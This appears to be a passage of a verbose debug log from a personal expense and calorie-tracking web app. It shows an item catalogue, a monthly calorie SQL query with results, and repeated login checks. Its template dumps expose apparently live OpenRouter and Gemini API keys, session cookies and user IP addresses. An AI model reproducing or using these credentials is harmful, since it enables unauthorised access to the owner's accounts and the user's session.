    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-23T06:10:52.720Z server-connect:output item_list: [
  {
    id: 493,
    intake_date: '2025-12-22T18:30:00.000Z',
    item_name: 'McCain Potato Bites',
    calories: 190,
    protein_gm: 2,
    carbs_gm: 25,
    fat_gm: 9,
    quantity: '1 serving (approx. 85g, based on typical serving size)',
    replacements: 'Baked potato wedges (plain),Air-fried sweet potato fries,Steamed or roasted vegetables',
    created_at: '2025-12-22T22:21:30.000Z',
    skip_level: 3,
    skip_reason: 'McCain Potato Bites are typically deep-fried and high in unhealthy fats and sodium. While they provide some carbohydrates for energy, the processing and frying method make them less ideal for muscle development and overall health compared to whole, unprocessed foods. For muscle development, focusing on lean protein and complex carbohydrates is more beneficial.'
  },
  {
    id: 494,
    intake_date: '2025-12-22T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (e.g., peppermint, chamomile)',
    created_at: '2025-12-23T00:40:50.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for health, contains antioxidants, negligible calories.'
  }
]
2025-12-23T06:10:52.720Z server-connect:app Executing action step setvalue
2025-12-23T06:10:52.720Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-23T06:10:52.720Z server-connect:output var_total: 192
2025-12-23T06:10:52.720Z server-connect:app Executing action step setvalue
2025-12-23T06:10:52.720Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-23T06:10:52.720Z server-connect:output var_consumed: 8
2025-12-23T06:10:52.720Z server-connect:app Executing action step setvalue
2025-12-23T06:10:52.720Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-23T06:10:52.720Z server-connect:output var_deficit: 2208
2025-12-23T06:10:52.720Z server-connect:app Executing action step custom
2025-12-23T06:10:52.720Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-23T06:10:52.721Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '192',
    surplus_or_deficit: '2208',
    status_flag: 2
  }
]
2025-12-23T06:10:53.189Z server-connect:app Executing action step identify
2025-12-23T06:10:53.189Z server-connect:app options: { provider: 'security' }
2025-12-23T06:10:53.189Z server-connect:output identity: 1
2025-12-23T06:11:22.657Z server-connect:app Executing action step identify
2025-12-23T06:11:22.657Z server-connect:app options: { provider: 'security' }
2025-12-23T06:11:22.657Z server-connect:output identity: 1
2025-12-23T06:11:25.055Z server-connect:app Executing action step identify
2025-12-23T06:11:25.056Z server-connect:app options: { provider: 'security' }
2025-12-23T06:11:25.056Z server-connect:output identity: 1
2025-12-23T06:13:09.659Z server-connect:app Executing action step identify
2025-12-23T06:13:09.659Z server-connect:app options: { provider: 'security' }
2025-12-23T06:13:09.659Z server-connect:output identity: 1
2025-12-23T06:13:12.161Z server-connect:app Executing action step identify
2025-12-23T06:13:12.161Z server-connect:app options: { provider: 'security' }
2025-12-23T06:13:12.161Z server-connect:output identity: 1
2025-12-23T06:14:02.546Z server-connect:app Executing action step identify
2025-12-23T06:14:02.546Z server-connect:app options: { provider: 'security' }
2025-12-23T06:14:02.546Z server-connect:output identity: 1
2025-12-23T06:14:05.189Z server-connect:app Executing action step identify
2025-12-23T06:14:05.189Z server-connect:app options: { provider: 'security' }
2025-12-23T06:14:05.189Z server-connect:output identity: 1
2025-12-23T06:14:41.053Z server-connect:app Executing action step identify
2025-12-23T06:14:41.053Z server-connect:app options: { provider: 'security' }
2025-12-23T06:14:41.053Z server-connect:output identity: 1
2025-12-23T06:14:43.147Z server-connect:app Executing action step identify
2025-12-23T06:14:43.147Z server-connect:app options: { provider: 'security' }
2025-12-23T06:14:43.147Z server-connect:output identity: 1
2025-12-23T06:15:44.379Z server-connect:app Executing action step identify
2025-12-23T06:15:44.380Z server-connect:app options: { provider: 'security' }
2025-12-23T06:15:44.380Z server-connect:output identity: 1
2025-12-23T06:15:46.167Z server-connect:app Executing action step identify
2025-12-23T06:15:46.167Z server-connect:app options: { provider: 'security' }
2025-12-23T06:15:46.167Z server-connect:output identity: 1
2025-12-23T06:21:25.226Z server-connect:app Executing action step identify
2025-12-23T06:21:25.226Z server-connect:app options: { provider: 'security' }
2025-12-23T06:21:25.226Z server-connect:output identity: 1
2025-12-23T06:21:27.134Z server-connect:app Executing action step identify
2025-12-23T06:21:27.134Z server-connect:app options: { provider: 'security' }
2025-12-23T06:21:27.134Z server-connect:output identity: 1
2025-12-23T06:34:38.245Z server-connect:app Executing action step identify
2025-12-23T06:34:38.245Z server-connect:app options: { provider: 'security' }
2025-12-23T06:34:38.246Z server-connect:output identity: 1
2025-12-23T06:34:41.239Z server-connect:app Executing action step identify
2025-12-23T06:34:41.239Z server-connect:app options: { provider: 'security' }
2025-12-23T06:34:41.239Z server-connect:output identity: 1
2025-12-23T06:40:37.228Z server-connect:app Executing action step identify
2025-12-23T06:40:37.228Z server-connect:app options: { provider: 'security' }
2025-12-23T06:40:37.228Z server-connect:output identity: 1
2025-12-23T06:40:39.249Z server-connect:app Executing action step identify
2025-12-23T06:40:39.249Z server-connect:app options: { provider: 'security' }
2025-12-23T06:40:39.249Z server-connect:output identity: 1
2025-12-23T06:43:42.573Z server-connect:app Executing action step identify
2025-12-23T06:43:42.573Z server-connect:app options: { provider: 'security' }
2025-12-23T06:43:42.573Z server-connect:output identity: 1
2025-12-23T06:43:45.181Z server-connect:app Executing action step identify
2025-12-23T06:43:45.181Z server-connect:app options: { provider: 'security' }
2025-12-23T06:43:45.181Z server-connect:output identity: 1
2025-12-23T06:44:22.738Z server-connect:app Executing action step identify
2025-12-23T06:44:22.738Z server-connect:app options: { provider: 'security' }
2025-12-23T06:44:22.739Z server-connect:output identity: 1
2025-12-23T06:44:25.204Z server-connect:app Executing action step identify
2025-12-23T06:44:25.204Z server-connect:app options: { provider: 'security' }
2025-12-23T06:44:25.205Z server-connect:output identity: 1
2025-12-23T06:51:34.231Z server-connect:app Executing action step identify
2025-12-23T06:51:34.231Z server-connect:app options: { provider: 'security' }
2025-12-23T06:51:34.231Z server-connect:output identity: 1
2025-12-23T06:51:36.198Z server-connect:app Executing action step identify
2025-12-23T06:51:36.198Z server-connect:app options: { provider: 'security' }
2025-12-23T06:51:36.198Z server-connect:output identity: 1
2025-12-23T06:57:43.930Z server-connect:router Serving templateView /
2025-12-23T06:57:43.930Z server-connect:app Executing action step identify
2025-12-23T06:57:43.930Z server-connect:app options: { provider: 'security' }
2025-12-23T06:57:43.930Z server-connect:output identity: 1
2025-12-23T06:57:43.930Z server-connect:app Executing action step restrict
2025-12-23T06:57:43.930Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T06:57:43.932Z server-connect:output restrict: undefined
2025-12-23T06:57:43.932Z server-connect:app Executing action step restrict
2025-12-23T06:57:43.932Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T06:57:43.932Z server-connect:output restrict: undefined
2025-12-23T06:57:43.932Z server-connect:router Render template index
2025-12-23T06:57:43.932Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T03:50:56.474Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-23T07:01:28.229Z server-connect:app Executing action step identify
2025-12-23T07:01:28.229Z server-connect:app options: { provider: 'security' }
2025-12-23T07:01:28.229Z server-connect:output identity: 1
2025-12-23T07:01:30.212Z server-connect:app Executing action step identify
2025-12-23T07:01:30.212Z server-connect:app options: { provider: 'security' }
2025-12-23T07:01:30.212Z server-connect:output identity: 1
2025-12-23T07:10:12.599Z server-connect:app Executing action step identify
2025-12-23T07:10:12.599Z server-connect:app options: { provider: 'security' }
2025-12-23T07:10:12.599Z server-connect:output identity: 1
2025-12-23T07:10:15.171Z server-connect:app Executing action step identify
2025-12-23T07:10:15.171Z server-connect:app options: { provider: 'security' }
2025-12-23T07:10:15.171Z server-connect:output identity: 1
2025-12-23T07:10:39.567Z server-connect:app Executing action step identify
2025-12-23T07:10:39.567Z server-connect:app options: { provider: 'security' }
2025-12-23T07:10:39.567Z server-connect:output identity: 1
2025-12-23T07:18:35.592Z server-connect:router Serving templateView /
2025-12-23T07:18:35.592Z server-connect:app Executing action step identify
2025-12-23T07:18:35.592Z server-connect:app options: { provider: 'security' }
2025-12-23T07:18:35.592Z server-connect:auth No login cookie found
2025-12-23T07:18:35.592Z server-connect:output identity: false
2025-12-23T07:18:35.592Z server-connect:app Executing action step restrict
2025-12-23T07:18:35.592Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T07:18:35.593Z server-connect:output restrict: undefined
2025-12-23T07:18:35.692Z server-connect:router Serving templateView /login
2025-12-23T07:18:35.692Z server-connect:app Executing action step identify
2025-12-23T07:18:35.692Z server-connect:app options: { provider: 'security' }
2025-12-23T07:18:35.693Z server-connect:auth No login cookie found
2025-12-23T07:18:35.693Z server-connect:output identity: false
2025-12-23T07:18:35.693Z server-connect:router Render template layouts/authentication
2025-12-23T07:18:35.693Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.172.79.128',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T07:18:35.692Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.172.79.128',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.172.79.128',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-23T07:35:26.843Z server-connect:router Serving templateView /
2025-12-23T07:35:26.844Z server-connect:app Executing action step identify
2025-12-23T07:35:26.844Z server-connect:app options: { provider: 'security' }
2025-12-23T07:35:26.844Z server-connect:auth No login cookie found
2025-12-23T07:35:26.844Z server-connect:output identity: false
2025-12-23T07:35:26.844Z server-connect:app Executing action step restrict
2025-12-23T07:35:26.844Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T07:35:26.845Z server-connect:output restrict: undefined
2025-12-23T07:35:26.963Z server-connect:router Serving templateView /login
2025-12-23T07:35:26.964Z server-connect:app Executing action step identify
2025-12-23T07:35:26.964Z server-connect:app options: { provider: 'security' }
2025-12-23T07:35:26.964Z server-connect:auth No login cookie found
2025-12-23T07:35:26.964Z server-connect:output identity: false
2025-12-23T07:35:26.964Z server-connect:router Render template layouts/authentication
2025-12-23T07:35:26.964Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
